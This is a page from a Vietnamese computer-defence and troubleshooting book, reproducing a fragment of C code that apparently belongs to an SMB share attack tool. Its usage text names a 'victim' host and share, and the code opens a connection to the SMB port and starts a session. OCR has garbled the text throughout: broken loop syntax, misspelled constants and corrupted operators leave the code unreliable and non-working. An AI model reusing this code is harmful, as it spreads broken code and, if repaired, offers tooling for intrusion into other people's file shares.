Page 122 - Hướng Dẫn Cách Phòng Thủ Và Khắc Phục Sự Cố Máy Tính
P. 122
printf ("hostname: Target host (ex:
127.0.0. l)\nremoteshare; Target share (ex:
//victim/c)\n\n");
exit (1);
}
strncpy (share, argv[2], 100);
for(i=0); i
if (share[i]= = '!') share [i] = '\V;
else share [i]=toupper (share[i]);
hp=gethostbyname (argv[l]);
if (hp— NULL) return -1;
memset ((char *) &sin, 0, sizeof (sin));
bcopy (hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family=hp-H^h_addrtype;
sin.sin_port=htons (SMBPORT);
sock=socket (AF_INET, SOCK_STRAM, 0);
if (sock = = -1)
{
printf ("Unable to create socket.Xn");
return -1;
}
if (connect (sock, (struct sockaddr *) &sin, sizeof (sin))
==-l)
{
printf ("Unable to connect.Xn");
exit (0);
}
if (request_new_session(sock)!=0xffffff82) // thats the
way i like it
123